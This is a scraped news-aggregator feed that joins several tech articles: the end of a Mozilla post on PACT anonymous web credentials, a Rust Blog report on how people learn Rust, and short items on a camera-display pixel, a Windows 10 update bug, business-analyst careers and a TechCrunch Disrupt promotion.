Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one.

When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy.

Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor.

The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

A diagram showing the PACT Anchor Flow

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.

Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

A diagram showing the protocol flow between Anchors and Moderators

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  

Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

A diagram showing the PACT Moderator Flow

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.

In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction.

AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism.

Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.

The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.

Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.

Next Steps

We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.

We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community.

If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need.

Acknowledgements

The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele OrrĂč, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun. 

[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

]]> <![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]> https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/ https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/ Sat, 25 Jul 2026 08:37:24 +0200 đŸ’Ÿ Tools tsecurity.de This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.

In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.

As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust

The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO

Rust learning resources

Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant

"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits

It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax." -- Principal Firmware Engineer (mobile robotics)

"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab

Learning to work with the borrow checker

We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher

Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs

"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer

Learning by doing

Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust

"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider

Letting go of "clone guilt"

Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.

We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to

The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM

"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries

"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO

Teaching Rust in academia

We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.

What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs

Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate

"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners

We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in." -- Principal Firmware Engineer (mobile robotics)

"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider

"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company

Silent attrition

We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider

Feedback on near-bounces from survey

We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.

One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.

Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion

The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions

Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.

That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying

Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.

Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.

Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.

Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.

How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.

Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know

The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.

We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.

The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.

]]> <![CDATA[A Video Screen That Is Also a Camera]]> https://tsecurity.de/de/3693281/reverse-engineering/a-video-screen-that-is-also-a-camera/ https://tsecurity.de/de/3693281/reverse-engineering/a-video-screen-that-is-also-a-camera/ Sat, 25 Jul 2026 08:37:08 +0200 đŸ•”ïž Reverse Engineering tsecurity.de Amazing:

Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by manipulating light’s intensity, oscillation phases, and polarization. The team reported its findings in a paper published yesterday in Nature.

We are one step closer to 1984 technology:

The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it; moreover, so long as he remained within the field of vision which the metal plaque commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment...

]]> <![CDATA[NVIDIA's New Free AI - A Gift To Humanity]]> https://tsecurity.de/de/3693254/videos/nvidias-new-free-ai-a-gift-to-humanity/ https://tsecurity.de/de/3693254/videos/nvidias-new-free-ai-a-gift-to-humanity/ Sat, 25 Jul 2026 08:36:25 +0200 đŸŽ„ Videos tsecurity.de Author: Two Minute Papers - Bewertung: 2514x - Views:69554

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]]> <![CDATA[Ich teste die GTX 1080 Ti in 2026 – und bin ĂŒberrascht!]]> https://tsecurity.de/de/3693242/videos/ich-teste-die-gtx-1080-ti-in-2026-und-bin-ueberrascht/ https://tsecurity.de/de/3693242/videos/ich-teste-die-gtx-1080-ti-in-2026-und-bin-ueberrascht/ Sat, 25 Jul 2026 08:36:07 +0200 đŸŽ„ Videos tsecurity.de Author: PC-WELT - Bewertung: 567x - Views:55426

Die GTX 1080 Ti war keine normale Grafikkarte - schon bei ihrem Erscheinen war klar: Das ist was besonderes. GĂŒnstiger UND schneller als das absolute Spitzenmodell Titan X, ĂŒppig ausgestattet, pure Rechenpower. Kein Wunder, dass die 1080 Ti heute immer noch gefeiert wird.

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]]> <![CDATA[Windows 10 Rettungsanker kaputt: ESU-Update schlĂ€gt weiterhin fehl]]> https://tsecurity.de/de/3693196/it-nachrichten/windows-10-rettungsanker-kaputt-esu-update-schlaegt-weiterhin-fehl/ https://tsecurity.de/de/3693196/it-nachrichten/windows-10-rettungsanker-kaputt-esu-update-schlaegt-weiterhin-fehl/ Sat, 25 Jul 2026 08:23:45 +0200 📰 IT Nachrichten tsecurity.de Update, Windows 10, Fehler, Beta, Bug, Entwicklung, Schadsoftware, Fehlerbehebung, Bugs, Absturz, Crash, Error, Bluescreen, Update Fehler, Windows 10 bugs, Windows 10 Bug, Fehlercode, Windows 10 Fehler, Baustelle, Bauarbeiter, Windows 10 Bluescreen, Vorab, ReperaturMicrosoft untersucht ein Problem, das bei der Installation des jĂŒngsten Windows 10-Updates KB5068781 auftritt. Das Update ist Teil des Extended Security Updates (ESU) Programms und wurde am November Patch-Day veröffentlicht. (Weiter lesen)]]> <![CDATA[What is a business analyst? A key role for business-IT efficiency]]> https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ Sat, 25 Jul 2026 06:16:45 +0200 📰 IT Nachrichten tsecurity.de

What is a business analyst?

Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.

BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.

The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.

Impact of AI on business analyst role

As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.

AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.

Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.

Business analyst job description

BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.

According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.

Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  

The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.

Business analyst skills

The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.

Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.

According to the IIBA, some of the most important skills and experience for a business analyst are:

  • Oral and written communication skills
  • Interpersonal, organizational, facilitation, and consultative skills
  • Analytical thinking and problem solving
  • Being detail-oriented and able to deliver a high level of accuracy
  • Knowledge of business structure
  • Stakeholder and cost-benefit analysis
  • Processes modeling
  • Understanding networks, databases, and other technologies

For a more in-depth look at what it takes to succeed as a business analyst, click here.

Business analyst salary

The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.

Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:

SkillsSalary Boost
ScrumMaster44%
Microsoft Azure30%
Supply Chain27%
Oracle eBusiness Suite25%
Master Data Management (SAP MDM)24%
SAP Sales and Distribution (SAP SD)24%
Product Support18%
Microsoft Dynamics GP18%
SAP Quality Management (SAP QM)18%
Workday Software15%

For tips on boosting your salary, click here.

Business analyst certifications

Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:

  • IIBA Entry Certificate in Business Analysis (ECBA)
  • IIBA Certification of Competency in Business Analysis (CCBA)
  • IIBA Certified Business Analysis Professional (CBAP)
  • IIBA Agile Analysis Certification (AAC)
  • IQBBA Certified Foundation Level Business Analyst (CFLBA)
  • IREB Certified Professional for Requirements Engineering (CPRE)
  • PMI Professional in Business Analysis (PBA)
  • Certified Analytics Professional (CAP)

For more information about how to earn one of these certifications — and how much they cost — click here.

Business analytics tools and software

BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.

]]> <![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]> https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/ https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/ Sat, 25 Jul 2026 05:51:14 +0200 📰 IT Nachrichten tsecurity.de

For CIOs, learning from the startup ecosystem has never been more critical.

As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.

So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by registering for TechCrunch Disrupt 2026?

Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.

Get 10% off your TechCrunch Disrupt pass with the exclusive code CIO10. 

